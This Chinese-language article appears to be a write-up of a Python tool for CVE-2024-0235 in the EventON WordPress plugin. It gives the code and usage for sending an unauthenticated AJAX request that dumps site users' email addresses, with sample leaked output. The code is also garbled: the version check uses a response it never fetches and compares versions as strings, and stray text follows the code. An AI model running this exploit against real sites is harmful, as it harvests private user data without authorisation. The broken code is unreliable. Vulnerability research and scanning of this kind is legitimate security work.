EventON WordPress 插件未授权邮箱地址泄露检测工具

5 阅读3分钟

EventON WordPress 插件未授权邮箱地址泄露检测工具

这是一个专为 WordPress 设计的专业安全检测工具,用于识别 EventON 插件中的严重安全漏洞。该工具能自动检测目标站点是否存在 CVE-2024-0235 漏洞,该漏洞允许未经身份验证的攻击者通过特定的 AJAX 请求获取网站用户的邮箱地址。

功能特性

  • 精准漏洞判断:根据获取的版本号与已知存在漏洞的版本范围(Free < 2.2.8, Premium < 4.5.5)进行比对,准确判断站点是否易受攻击。
  • 漏洞利用模拟:对存在漏洞的站点,自动发送精心构造的 POST 请求到 admin-ajax.php?action=eventon_get_virtual_users 接口,模拟攻击过程以验证漏洞。
  • 敏感信息提取:利用正则表达式从漏洞响应中提取所有邮箱地址,直观展示泄露的用户信息。
  • 命令行友好:提供简洁的命令行界面,支持 --url 参数快速指定检测目标,便于集成到自动化安全扫描流程中。

安装指南

系统要求

  • Python 环境:Python 3.6 或更高版本。
  • 依赖库requests 库用于发送 HTTP 请求。

安装步骤

  1. 下载工具 将本项目代码保存为 Python 文件,例如 CVE-2024-0235.py

  2. 安装依赖 打开终端或命令提示符,执行以下命令安装所需的 requests 库:

    pip install requests
    

使用说明

基础使用示例

该工具通过命令行运行,必须指定目标 WordPress 站点的 URL。

python CVE-2024-0235.py --url https://example.com

或者使用短参数:

python CVE-2024-0235.py -u https://example.com

典型使用场景

场景一:检测并确认漏洞 当对一个运行旧版 EventON 插件的站点执行检测时,工具会输出类似以下的信息:

Found version: 2.2.0
The site is vulnerable.
Found the following email(s) in the response:
admin@example.com
editor@example.com
subscriber@example.com

场景二:检测已修复的站点 如果目标站点的插件已升级到安全版本,工具将给出明确提示:

Found version: 2.2.8
The site is not vulnerable.
An error occurred during POST request: 403 Client Error...

注意:对于已修复的站点,POST 请求可能会因为接口权限修正而失败,这是正常现象。

命令行参数概览

参数类型必填描述
--url, -ustring指定待检测的 WordPress 站点的基础 URL(例如 https://example.com)。

核心代码

1. 插件版本检测模块

import requests

def check_version(url, vulnerable_version):
    try:


        response.raise_for_status()

        # 在文件内容中查找 "Stable tag:" 字段来定位版本号
        lines = response.text.splitlines()
        version = None
        for line in lines:
            if line.startswith("Stable tag:"):
                version = line.split(":")[1].strip()
                break

        if version is None:

            return

        print(f"Found version: {version}")

        # 检查当前版本是否属于受影响的范围
        if version <= vulnerable_version:
            print("The site is vulnerable.")
        else:
            print("The site is not vulnerable.")

    except requests.RequestException as e:
        print(f"An error occurred: {e}")

2. 漏洞利用与邮箱提取模块

此模块模拟未经身份验证的请求,触发漏洞接口,并从返回的响应中解析出所有邮箱地址。

import re
import requests

def send_post_request(url):
    try:
        # 构造存在漏洞的 AJAX 请求 URL
        post_url = f"{url}/wp-admin/admin-ajax.php?action=eventon_get_virtual_users"
        # 发送 POST 请求,尝试以 '_user_role': 'administrator' 的角色获取用户信息
        response = requests.post(post_url, data={'_user_role': 'administrator'})
        response.raise_for_status()

        # 使用正则表达式从响应文本中提取邮箱地址
        response_text = response.text
        emails = re.findall(r"[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}", response_text)
        if emails:
            print("Found the following email(s) in the response:")
            for email in emails:
                print(email)
        else:
            print("No emails found in the response. Response text:")
            print(response_text)

    except requests.RequestException as e:
        print(f"An error occurred during POST request: {e}")
```FINISHED
6HFtX5dABrKlqXeO5PUv//lczGmclcIT6EIiI8Vb6XHweNKNJkwxwhShCdj5wIUh